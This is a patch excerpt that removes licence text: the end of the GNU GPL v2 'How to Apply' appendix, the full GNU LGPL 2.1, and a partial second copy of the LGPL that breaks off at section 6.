-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
-		  GNU LESSER GENERAL PUBLIC LICENSE
-		       Version 2.1, February 1999
-
- Copyright (C) 1991, 1999 Free Software Foundation, Inc.
-     51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-[This is the first released version of the Lesser GPL.  It also counts
- as the successor of the GNU Library Public License, version 2, hence
- the version number 2.1.]
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-Licenses are intended to guarantee your freedom to share and change
-free software--to make sure the software is free for all its users.
-
-  This license, the Lesser General Public License, applies to some
-specially designated software packages--typically libraries--of the
-Free Software Foundation and other authors who decide to use it.  You
-can use it too, but we suggest you first think carefully about whether
-this license or the ordinary General Public License is the better
-strategy to use in any particular case, based on the explanations below.
-
-  When we speak of free software, we are referring to freedom of use,
-not price.  Our General Public Licenses are designed to make sure that
-you have the freedom to distribute copies of free software (and charge
-for this service if you wish); that you receive source code or can get
-it if you want it; that you can change the software and use pieces of
-it in new free programs; and that you are informed that you can do
-these things.
-
-  To protect your rights, we need to make restrictions that forbid
-distributors to deny you these rights or to ask you to surrender these
-rights.  These restrictions translate to certain responsibilities for
-you if you distribute copies of the library or if you modify it.
-
-  For example, if you distribute copies of the library, whether gratis
-or for a fee, you must give the recipients all the rights that we gave
-you.  You must make sure that they, too, receive or can get the source
-code.  If you link other code with the library, you must provide
-complete object files to the recipients, so that they can relink them
-with the library after making changes to the library and recompiling
-it.  And you must show them these terms so they know their rights.
-
-  We protect your rights with a two-step method: (1) we copyright the
-library, and (2) we offer you this license, which gives you legal
-permission to copy, distribute and/or modify the library.
-
-  To protect each distributor, we want to make it very clear that
-there is no warranty for the free library.  Also, if the library is
-modified by someone else and passed on, the recipients should know
-that what they have is not the original version, so that the original
-author's reputation will not be affected by problems that might be
-introduced by others.
-
-  Finally, software patents pose a constant threat to the existence of
-any free program.  We wish to make sure that a company cannot
-effectively restrict the users of a free program by obtaining a
-restrictive license from a patent holder.  Therefore, we insist that
-any patent license obtained for a version of the library must be
-consistent with the full freedom of use specified in this license.
-
-  Most GNU software, including some libraries, is covered by the
-ordinary GNU General Public License.  This license, the GNU Lesser
-General Public License, applies to certain designated libraries, and
-is quite different from the ordinary General Public License.  We use
-this license for certain libraries in order to permit linking those
-libraries into non-free programs.
-
-  When a program is linked with a library, whether statically or using
-a shared library, the combination of the two is legally speaking a
-combined work, a derivative of the original library.  The ordinary
-General Public License therefore permits such linking only if the
-entire combination fits its criteria of freedom.  The Lesser General
-Public License permits more lax criteria for linking other code with
-the library.
-
-  We call this license the "Lesser" General Public License because it
-does Less to protect the user's freedom than the ordinary General
-Public License.  It also provides other free software developers Less
-of an advantage over competing non-free programs.  These disadvantages
-are the reason we use the ordinary General Public License for many
-libraries.  However, the Lesser license provides advantages in certain
-special circumstances.
-
-  For example, on rare occasions, there may be a special need to
-encourage the widest possible use of a certain library, so that it becomes
-a de-facto standard.  To achieve this, non-free programs must be
-allowed to use the library.  A more frequent case is that a free
-library does the same job as widely used non-free libraries.  In this
-case, there is little to gain by limiting the free library to free
-software only, so we use the Lesser General Public License.
-
-  In other cases, permission to use a particular library in non-free
-programs enables a greater number of people to use a large body of
-free software.  For example, permission to use the GNU C Library in
-non-free programs enables many more people to use the whole GNU
-operating system, as well as its variant, the GNU/Linux operating
-system.
-
-  Although the Lesser General Public License is Less protective of the
-users' freedom, it does ensure that the user of a program that is
-linked with the Library has the freedom and the wherewithal to run
-that program using a modified version of the Library.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.  Pay close attention to the difference between a
-"work based on the library" and a "work that uses the library".  The
-former contains code derived from the library, whereas the latter must
-be combined with the library in order to run.
-
-		  GNU LESSER GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License Agreement applies to any software library or other
-program which contains a notice placed by the copyright holder or
-other authorized party saying it may be distributed under the terms of
-this Lesser General Public License (also called "this License").
-Each licensee is addressed as "you".
-
-  A "library" means a collection of software functions and/or data
-prepared so as to be conveniently linked with application programs
-(which use some of those functions and data) to form executables.
-
-  The "Library", below, refers to any such software library or work
-which has been distributed under these terms.  A "work based on the
-Library" means either the Library or any derivative work under
-copyright law: that is to say, a work containing the Library or a
-portion of it, either verbatim or with modifications and/or translated
-straightforwardly into another language.  (Hereinafter, translation is
-included without limitation in the term "modification".)
-
-  "Source code" for a work means the preferred form of the work for
-making modifications to it.  For a library, complete source code means
-all the source code for all modules it contains, plus any associated
-interface definition files, plus the scripts used to control compilation
-and installation of the library.
-
-  Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running a program using the Library is not restricted, and output from
-such a program is covered only if its contents constitute a work based
-on the Library (independent of the use of the Library in a tool for
-writing it).  Whether that is true depends on what the Library does
-and what the program that uses the Library does.
-  
-  1. You may copy and distribute verbatim copies of the Library's
-complete source code as you receive it, in any medium, provided that
-you conspicuously and appropriately publish on each copy an
-appropriate copyright notice and disclaimer of warranty; keep intact
-all the notices that refer to this License and to the absence of any
-warranty; and distribute a copy of this License along with the
-Library.
-
-  You may charge a fee for the physical act of transferring a copy,
-and you may at your option offer warranty protection in exchange for a
-fee.
-
-  2. You may modify your copy or copies of the Library or any portion
-of it, thus forming a work based on the Library, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) The modified work must itself be a software library.
-
-    b) You must cause the files modified to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    c) You must cause the whole of the work to be licensed at no
-    charge to all third parties under the terms of this License.
-
-    d) If a facility in the modified Library refers to a function or a
-    table of data to be supplied by an application program that uses
-    the facility, other than as an argument passed when the facility
-    is invoked, then you must make a good faith effort to ensure that,
-    in the event an application does not supply such function or
-    table, the facility still operates, and performs whatever part of
-    its purpose remains meaningful.
-
-    (For example, a function in a library to compute square roots has
-    a purpose that is entirely well-defined independent of the
-    application.  Therefore, Subsection 2d requires that any
-    application-supplied function or table used by this function must
-    be optional: if the application does not supply it, the square
-    root function must still compute square roots.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Library,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Library, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote
-it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Library.
-
-In addition, mere aggregation of another work not based on the Library
-with the Library (or with a work based on the Library) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may opt to apply the terms of the ordinary GNU General Public
-License instead of this License to a given copy of the Library.  To do
-this, you must alter all the notices that refer to this License, so
-that they refer to the ordinary GNU General Public License, version 2,
-instead of to this License.  (If a newer version than version 2 of the
-ordinary GNU General Public License has appeared, then you can specify
-that version instead if you wish.)  Do not make any other change in
-these notices.
-
-  Once this change is made in a given copy, it is irreversible for
-that copy, so the ordinary GNU General Public License applies to all
-subsequent copies and derivative works made from that copy.
-
-  This option is useful when you wish to copy part of the code of
-the Library into a program that is not a library.
-
-  4. You may copy and distribute the Library (or a portion or
-derivative of it, under Section 2) in object code or executable form
-under the terms of Sections 1 and 2 above provided that you accompany
-it with the complete corresponding machine-readable source code, which
-must be distributed under the terms of Sections 1 and 2 above on a
-medium customarily used for software interchange.
-
-  If distribution of object code is made by offering access to copy
-from a designated place, then offering equivalent access to copy the
-source code from the same place satisfies the requirement to
-distribute the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  5. A program that contains no derivative of any portion of the
-Library, but is designed to work with the Library by being compiled or
-linked with it, is called a "work that uses the Library".  Such a
-work, in isolation, is not a derivative work of the Library, and
-therefore falls outside the scope of this License.
-
-  However, linking a "work that uses the Library" with the Library
-creates an executable that is a derivative of the Library (because it
-contains portions of the Library), rather than a "work that uses the
-library".  The executable is therefore covered by this License.
-Section 6 states terms for distribution of such executables.
-
-  When a "work that uses the Library" uses material from a header file
-that is part of the Library, the object code for the work may be a
-derivative work of the Library even though the source code is not.
-Whether this is true is especially significant if the work can be
-linked without the Library, or if the work is itself a library.  The
-threshold for this to be true is not precisely defined by law.
-
-  If such an object file uses only numerical parameters, data
-structure layouts and accessors, and small macros and small inline
-functions (ten lines or less in length), then the use of the object
-file is unrestricted, regardless of whether it is legally a derivative
-work.  (Executables containing this object code plus portions of the
-Library will still fall under Section 6.)
-
-  Otherwise, if the work is a derivative of the Library, you may
-distribute the object code for the work under the terms of Section 6.
-Any executables containing that work also fall under Section 6,
-whether or not they are linked directly with the Library itself.
-
-  6. As an exception to the Sections above, you may also combine or
-link a "work that uses the Library" with the Library to produce a
-work containing portions of the Library, and distribute that work
-under terms of your choice, provided that the terms permit
-modification of the work for the customer's own use and reverse
-engineering for debugging such modifications.
-
-  You must give prominent notice with each copy of the work that the
-Library is used in it and that the Library and its use are covered by
-this License.  You must supply a copy of this License.  If the work
-during execution displays copyright notices, you must include the
-copyright notice for the Library among them, as well as a reference
-directing the user to the copy of this License.  Also, you must do one
-of these things:
-
-    a) Accompany the work with the complete corresponding
-    machine-readable source code for the Library including whatever
-    changes were used in the work (which must be distributed under
-    Sections 1 and 2 above); and, if the work is an executable linked
-    with the Library, with the complete machine-readable "work that
-    uses the Library", as object code and/or source code, so that the
-    user can modify the Library and then relink to produce a modified
-    executable containing the modified Library.  (It is understood
-    that the user who changes the contents of definitions files in the
-    Library will not necessarily be able to recompile the application
-    to use the modified definitions.)
-
-    b) Use a suitable shared library mechanism for linking with the
-    Library.  A suitable mechanism is one that (1) uses at run time a
-    copy of the library already present on the user's computer system,
-    rather than copying library functions into the executable, and (2)
-    will operate properly with a modified version of the library, if
-    the user installs one, as long as the modified version is
-    interface-compatible with the version that the work was made with.
-
-    c) Accompany the work with a written offer, valid for at
-    least three years, to give the same user the materials
-    specified in Subsection 6a, above, for a charge no more
-    than the cost of performing this distribution.
-
-    d) If distribution of the work is made by offering access to copy
-    from a designated place, offer equivalent access to copy the above
-    specified materials from the same place.
-
-    e) Verify that the user has already received a copy of these
-    materials or that you have already sent this user a copy.
-
-  For an executable, the required form of the "work that uses the
-Library" must include any data and utility programs needed for
-reproducing the executable from it.  However, as a special exception,
-the materials to be distributed need not include anything that is
-normally distributed (in either source or binary form) with the major
-components (compiler, kernel, and so on) of the operating system on
-which the executable runs, unless that component itself accompanies
-the executable.
-
-  It may happen that this requirement contradicts the license
-restrictions of other proprietary libraries that do not normally
-accompany the operating system.  Such a contradiction means you cannot
-use both them and the Library together in an executable that you
-distribute.
-
-  7. You may place library facilities that are a work based on the
-Library side-by-side in a single library together with other library
-facilities not covered by this License, and distribute such a combined
-library, provided that the separate distribution of the work based on
-the Library and of the other library facilities is otherwise
-permitted, and provided that you do these two things:
-
-    a) Accompany the combined library with a copy of the same work
-    based on the Library, uncombined with any other library
-    facilities.  This must be distributed under the terms of the
-    Sections above.
-
-    b) Give prominent notice with the combined library of the fact
-    that part of it is a work based on the Library, and explaining
-    where to find the accompanying uncombined form of the same work.
-
-  8. You may not copy, modify, sublicense, link with, or distribute
-the Library except as expressly provided under this License.  Any
-attempt otherwise to copy, modify, sublicense, link with, or
-distribute the Library is void, and will automatically terminate your
-rights under this License.  However, parties who have received copies,
-or rights, from you under this License will not have their licenses
-terminated so long as such parties remain in full compliance.
-
-  9. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Library or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Library (or any work based on the
-Library), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Library or works based on it.
-
-  10. Each time you redistribute the Library (or any work based on the
-Library), the recipient automatically receives a license from the
-original licensor to copy, distribute, link with or modify the Library
-subject to these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties with
-this License.
-
-  11. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Library at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Library by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Library.
-
-If any portion of this section is held invalid or unenforceable under any
-particular circumstance, the balance of the section is intended to apply,
-and the section as a whole is intended to apply in other circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  12. If the distribution and/or use of the Library is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Library under this License may add
-an explicit geographical distribution limitation excluding those countries,
-so that distribution is permitted only in or among countries not thus
-excluded.  In such case, this License incorporates the limitation as if
-written in the body of this License.
-
-  13. The Free Software Foundation may publish revised and/or new
-versions of the Lesser General Public License from time to time.
-Such new versions will be similar in spirit to the present version,
-but may differ in detail to address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Library
-specifies a version number of this License which applies to it and
-"any later version", you have the option of following the terms and
-conditions either of that version or of any later version published by
-the Free Software Foundation.  If the Library does not specify a
-license version number, you may choose any version ever published by
-the Free Software Foundation.
-
-  14. If you wish to incorporate parts of the Library into other free
-programs whose distribution conditions are incompatible with these,
-write to the author to ask for permission.  For software which is
-copyrighted by the Free Software Foundation, write to the Free
-Software Foundation; we sometimes make exceptions for this.  Our
-decision will be guided by the two goals of preserving the free status
-of all derivatives of our free software and of promoting the sharing
-and reuse of software generally.
-
-			    NO WARRANTY
-
-  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
-WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
-EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
-OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
-KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
-PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
-LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
-THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
-
-  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
-WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
-AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
-FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
-CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
-LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
-RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
-FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
-SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
-DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-           How to Apply These Terms to Your New Libraries
-
-  If you develop a new library, and you want it to be of the greatest
-possible use to the public, we recommend making it free software that
-everyone can redistribute and change.  You can do so by permitting
-redistribution under these terms (or, alternatively, under the terms of the
-ordinary General Public License).
-
-  To apply these terms, attach the following notices to the library.  It is
-safest to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least the
-"copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the library's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Lesser General Public
-    License as published by the Free Software Foundation; either
-    version 2.1 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Lesser General Public License for more details.
-
-    You should have received a copy of the GNU Lesser General Public
-    License along with this library; if not, write to the Free Software
-    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-Also add information on how to contact you by electronic and paper mail.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the library, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the
-  library `Frob' (a library for tweaking knobs) written by James Random Hacker.
-
-  <signature of Ty Coon>, 1 April 1990
-  Ty Coon, President of Vice
-
-That's all there is to it!
-
-
-		  GNU LESSER GENERAL PUBLIC LICENSE
-		       Version 2.1, February 1999
-
- Copyright (C) 1991, 1999 Free Software Foundation, Inc.
-     51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-[This is the first released version of the Lesser GPL.  It also counts
- as the successor of the GNU Library Public License, version 2, hence
- the version number 2.1.]
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-Licenses are intended to guarantee your freedom to share and change
-free software--to make sure the software is free for all its users.
-
-  This license, the Lesser General Public License, applies to some
-specially designated software packages--typically libraries--of the
-Free Software Foundation and other authors who decide to use it.  You
-can use it too, but we suggest you first think carefully about whether
-this license or the ordinary General Public License is the better
-strategy to use in any particular case, based on the explanations below.
-
-  When we speak of free software, we are referring to freedom of use,
-not price.  Our General Public Licenses are designed to make sure that
-you have the freedom to distribute copies of free software (and charge
-for this service if you wish); that you receive source code or can get
-it if you want it; that you can change the software and use pieces of
-it in new free programs; and that you are informed that you can do
-these things.
-
-  To protect your rights, we need to make restrictions that forbid
-distributors to deny you these rights or to ask you to surrender these
-rights.  These restrictions translate to certain responsibilities for
-you if you distribute copies of the library or if you modify it.
-
-  For example, if you distribute copies of the library, whether gratis
-or for a fee, you must give the recipients all the rights that we gave
-you.  You must make sure that they, too, receive or can get the source
-code.  If you link other code with the library, you must provide
-complete object files to the recipients, so that they can relink them
-with the library after making changes to the library and recompiling
-it.  And you must show them these terms so they know their rights.
-
-  We protect your rights with a two-step method: (1) we copyright the
-library, and (2) we offer you this license, which gives you legal
-permission to copy, distribute and/or modify the library.
-
-  To protect each distributor, we want to make it very clear that
-there is no warranty for the free library.  Also, if the library is
-modified by someone else and passed on, the recipients should know
-that what they have is not the original version, so that the original
-author's reputation will not be affected by problems that might be
-introduced by others.
-
-  Finally, software patents pose a constant threat to the existence of
-any free program.  We wish to make sure that a company cannot
-effectively restrict the users of a free program by obtaining a
-restrictive license from a patent holder.  Therefore, we insist that
-any patent license obtained for a version of the library must be
-consistent with the full freedom of use specified in this license.
-
-  Most GNU software, including some libraries, is covered by the
-ordinary GNU General Public License.  This license, the GNU Lesser
-General Public License, applies to certain designated libraries, and
-is quite different from the ordinary General Public License.  We use
-this license for certain libraries in order to permit linking those
-libraries into non-free programs.
-
-  When a program is linked with a library, whether statically or using
-a shared library, the combination of the two is legally speaking a
-combined work, a derivative of the original library.  The ordinary
-General Public License therefore permits such linking only if the
-entire combination fits its criteria of freedom.  The Lesser General
-Public License permits more lax criteria for linking other code with
-the library.
-
-  We call this license the "Lesser" General Public License because it
-does Less to protect the user's freedom than the ordinary General
-Public License.  It also provides other free software developers Less
-of an advantage over competing non-free programs.  These disadvantages
-are the reason we use the ordinary General Public License for many
-libraries.  However, the Lesser license provides advantages in certain
-special circumstances.
-
-  For example, on rare occasions, there may be a special need to
-encourage the widest possible use of a certain library, so that it becomes
-a de-facto standard.  To achieve this, non-free programs must be
-allowed to use the library.  A more frequent case is that a free
-library does the same job as widely used non-free libraries.  In this
-case, there is little to gain by limiting the free library to free
-software only, so we use the Lesser General Public License.
-
-  In other cases, permission to use a particular library in non-free
-programs enables a greater number of people to use a large body of
-free software.  For example, permission to use the GNU C Library in
-non-free programs enables many more people to use the whole GNU
-operating system, as well as its variant, the GNU/Linux operating
-system.
-
-  Although the Lesser General Public License is Less protective of the
-users' freedom, it does ensure that the user of a program that is
-linked with the Library has the freedom and the wherewithal to run
-that program using a modified version of the Library.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.  Pay close attention to the difference between a
-"work based on the library" and a "work that uses the library".  The
-former contains code derived from the library, whereas the latter must
-be combined with the library in order to run.
-
-		  GNU LESSER GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License Agreement applies to any software library or other
-program which contains a notice placed by the copyright holder or
-other authorized party saying it may be distributed under the terms of
-this Lesser General Public License (also called "this License").
-Each licensee is addressed as "you".
-
-  A "library" means a collection of software functions and/or data
-prepared so as to be conveniently linked with application programs
-(which use some of those functions and data) to form executables.
-
-  The "Library", below, refers to any such software library or work
-which has been distributed under these terms.  A "work based on the
-Library" means either the Library or any derivative work under
-copyright law: that is to say, a work containing the Library or a
-portion of it, either verbatim or with modifications and/or translated
-straightforwardly into another language.  (Hereinafter, translation is
-included without limitation in the term "modification".)
-
-  "Source code" for a work means the preferred form of the work for
-making modifications to it.  For a library, complete source code means
-all the source code for all modules it contains, plus any associated
-interface definition files, plus the scripts used to control compilation
-and installation of the library.
-
-  Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running a program using the Library is not restricted, and output from
-such a program is covered only if its contents constitute a work based
-on the Library (independent of the use of the Library in a tool for
-writing it).  Whether that is true depends on what the Library does
-and what the program that uses the Library does.
-  
-  1. You may copy and distribute verbatim copies of the Library's
-complete source code as you receive it, in any medium, provided that
-you conspicuously and appropriately publish on each copy an
-appropriate copyright notice and disclaimer of warranty; keep intact
-all the notices that refer to this License and to the absence of any
-warranty; and distribute a copy of this License along with the
-Library.
-
-  You may charge a fee for the physical act of transferring a copy,
-and you may at your option offer warranty protection in exchange for a
-fee.
-
-  2. You may modify your copy or copies of the Library or any portion
-of it, thus forming a work based on the Library, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) The modified work must itself be a software library.
-
-    b) You must cause the files modified to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    c) You must cause the whole of the work to be licensed at no
-    charge to all third parties under the terms of this License.
-
-    d) If a facility in the modified Library refers to a function or a
-    table of data to be supplied by an application program that uses
-    the facility, other than as an argument passed when the facility
-    is invoked, then you must make a good faith effort to ensure that,
-    in the event an application does not supply such function or
-    table, the facility still operates, and performs whatever part of
-    its purpose remains meaningful.
-
-    (For example, a function in a library to compute square roots has
-    a purpose that is entirely well-defined independent of the
-    application.  Therefore, Subsection 2d requires that any
-    application-supplied function or table used by this function must
-    be optional: if the application does not supply it, the square
-    root function must still compute square roots.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Library,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Library, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote
-it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Library.
-
-In addition, mere aggregation of another work not based on the Library
-with the Library (or with a work based on the Library) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may opt to apply the terms of the ordinary GNU General Public
-License instead of this License to a given copy of the Library.  To do
-this, you must alter all the notices that refer to this License, so
-that they refer to the ordinary GNU General Public License, version 2,
-instead of to this License.  (If a newer version than version 2 of the
-ordinary GNU General Public License has appeared, then you can specify
-that version instead if you wish.)  Do not make any other change in
-these notices.
-
-  Once this change is made in a given copy, it is irreversible for
-that copy, so the ordinary GNU General Public License applies to all
-subsequent copies and derivative works made from that copy.
-
-  This option is useful when you wish to copy part of the code of
-the Library into a program that is not a library.
-
-  4. You may copy and distribute the Library (or a portion or
-derivative of it, under Section 2) in object code or executable form
-under the terms of Sections 1 and 2 above provided that you accompany
-it with the complete corresponding machine-readable source code, which
-must be distributed under the terms of Sections 1 and 2 above on a
-medium customarily used for software interchange.
-
-  If distribution of object code is made by offering access to copy
-from a designated place, then offering equivalent access to copy the
-source code from the same place satisfies the requirement to
-distribute the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  5. A program that contains no derivative of any portion of the
-Library, but is designed to work with the Library by being compiled or
-linked with it, is called a "work that uses the Library".  Such a
-work, in isolation, is not a derivative work of the Library, and
-therefore falls outside the scope of this License.
-
-  However, linking a "work that uses the Library" with the Library
-creates an executable that is a derivative of the Library (because it
-contains portions of the Library), rather than a "work that uses the
-library".  The executable is therefore covered by this License.
-Section 6 states terms for distribution of such executables.
-
-  When a "work that uses the Library" uses material from a header file
-that is part of the Library, the object code for the work may be a
-derivative work of the Library even though the source code is not.
-Whether this is true is especially significant if the work can be
-linked without the Library, or if the work is itself a library.  The
-threshold for this to be true is not precisely defined by law.
-
-  If such an object file uses only numerical parameters, data
-structure layouts and accessors, and small macros and small inline
-functions (ten lines or less in length), then the use of the object
-file is unrestricted, regardless of whether it is legally a derivative
-work.  (Executables containing this object code plus portions of the
-Library will still fall under Section 6.)
-
-  Otherwise, if the work is a derivative of the Library, you may
-distribute the object code for the work under the terms of Section 6.
-Any executables containing that work also fall under Section 6,
-whether or not they are linked directly with the Library itself.
-
-  6. As an exception to the Sections above, you may also combine or
-link a "work that uses the Library" with the Library to produce a
-work containing portions of the Library, and distribute that work
-under terms of your choice, provided that the terms permit
-modification of the work for the customer's own use and reverse
-engineering for debugging such modifications.
-
-  You must give prominent notice with each copy of the work that the
-Library is used in it and that the Library and its use are covered by
-this License.  You must supply a copy of this License.  If the work
-during execution displays copyright notices, you must include the
-copyright notice for the Library among them, as well as a reference
-directing the user to the copy of this License.  Also, you must do one
-of these things:
-
-    a) Accompany the work with the complete corresponding
-    machine-readable source code for the Library including whatever
-    changes were used in the work (which must be distributed under
-    Sections 1 and 2 above); and, if the work is an executable linked
-    with the Library, with the complete machine-readable "work that
-    uses the Library", as object code and/or source code, so that the
-    user can modify the Library and then relink to produce a modified
-    executable containing the modified Library.  (It is understood
-    that the user who changes the contents of definitions files in the
-    Library will not necessarily be able to recompile the application
-    to use the modified definitions.)
-
-    b) Use a suitable shared library mechanism for linking with the
-    Library.  A suitable mechanism is one that (1) uses at run time a
-    copy of the library already present on the user's computer system,
-    rather than copying library functions into the executable, and (2)
-    will operate properly with a modified version of the library, if
-    the user installs one, as long as the modified version is
-    interface-compatible with the version that the work was made with.
-
-    c) Accompany the work with a written offer, valid for at
-    least three years, to give the same user the materials
-    specified in Subsection 6a, above, for a charge no more
-    than the cost of performing this distribution.
-
-    d) If distribution of the work is made by offering access to copy
-    from a designated place, offer equivalent access to copy the above
-    specified materials from the same place.
-
